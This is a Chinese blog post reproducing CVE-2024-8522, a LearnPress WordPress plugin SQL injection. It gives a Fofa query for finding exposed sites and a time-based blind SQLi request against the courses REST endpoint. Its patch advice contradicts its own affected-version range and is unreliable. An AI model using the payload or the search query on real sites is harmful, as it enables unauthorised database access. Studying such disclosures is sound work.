当前位置: 首页 > article >正文

WordPress LearnPress插件 SQL注入复现(CVE-2024-8522)

0x01 产品描述:

        LearnPress 是一款功能强大的 WordPress LMS(学习管理系统)插件,适用于创建和销售在线课程。凭借其直观的界面和丰富的功能,无论您是否具备编程背景,都能轻松搭建起在线教育网站。学会如何使用 LearnPress,意味着您可以快速地建立教育、学校或课程销售网站。

0x02 漏洞描述:

        LearnPress是一款广受欢迎的WordPress在线课程管理工具插件,近期被发现存在一个高危SQL注入漏洞,编号为CVE-2024-8522,其CVSS评分高达10,表明该漏洞具有极高的严重性。此漏洞潜藏于LearnPress的REST API端点中,具体关联到“c_only_fields”参数的处理不当,因缺乏足够的转义措施和SQL查询准备,使得未经身份验证的攻击者能够注入恶意SQL代码,进而可能访问并窃取存储在WordPress数据库中的敏感信息,如用户凭证、个人数据及课程资料

0x03 影响版本:

LearnPress <= 4.2.7

0x04 搜索语句:

Fofa:body="/wp-content/plugins/learnpress"

0x05 漏洞复现:

GET /wp-json/learnpress/v1/courses?c_only_fields=IF(COUNT(*)!=-2,(SLEEP(5)),0) HTTP/1.1
Host: your-ip
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 35

 

0x06 修复建议:

厂商已发布4.2.7版本以修复该问题,存在问题的系统可更新至4.2.7用以修复

CVE-2024-8522 & CVE-2024-8529 (CVSS 10): LearnPress SQLi Flaw Leaves 90K+ WordPress Sites at Risk


http://www.kler.cn/a/320020.html

相关文章:

  • css盒子水平垂直居中
  • nginx 修改内置 404 页面、点击劫持攻击。
  • 2013年IMO几何预选题第4题
  • 基于YOLOv8与CGNet的鸟类智能识别系统 深度学习图像分类 鸟类目标检测与分类 图像特征提取 模型优化与应用 数据可视化(源码+指导+定制)
  • Linux自学指南(学习路线大纲)
  • Ubuntu 安装和配置 MariaDB
  • Oracle Truncate和delete的区别
  • 常见面试题
  • 根据源码解析Vue2中对于数组的变化侦测
  • 如何根据拍立淘API返回值进行商品数据分析
  • Patroni官方给出的流程图
  • Linux 进程间通信(共享内存+消息队列)
  • 嵌入式程序设计经验 创建复位函数
  • 2024必备中英互译利器全知道
  • 每天一道面试题(18):Redis 和 MySQL 如何保证数据一致性
  • 【病毒分析】phobos家族Elbie变种加密器分析报告
  • C语言 | Leetcode C语言题解之第436题寻找右区间
  • 华为HarmonyOS地图服务 5 - 利用UI控件和手势进行地图交互
  • Go语言设计的一些优点及缺陷
  • 语音音频(wav)声纹识别-技术实现-python
  • Debian与Ubuntu:深入解读两大Linux发行版的历史与联系
  • react crash course 2024(5) useState钩子
  • mac终端打开报complete 13 command not found compdef异常处理以及命令补全功能实现
  • 详细分析SpringMvc中HandlerInterceptor拦截器的基本知识(附Demo)
  • java知识:什么是GC?GC调优思路又有哪些
  • C++深入学习string类成员函数(1):默认与迭代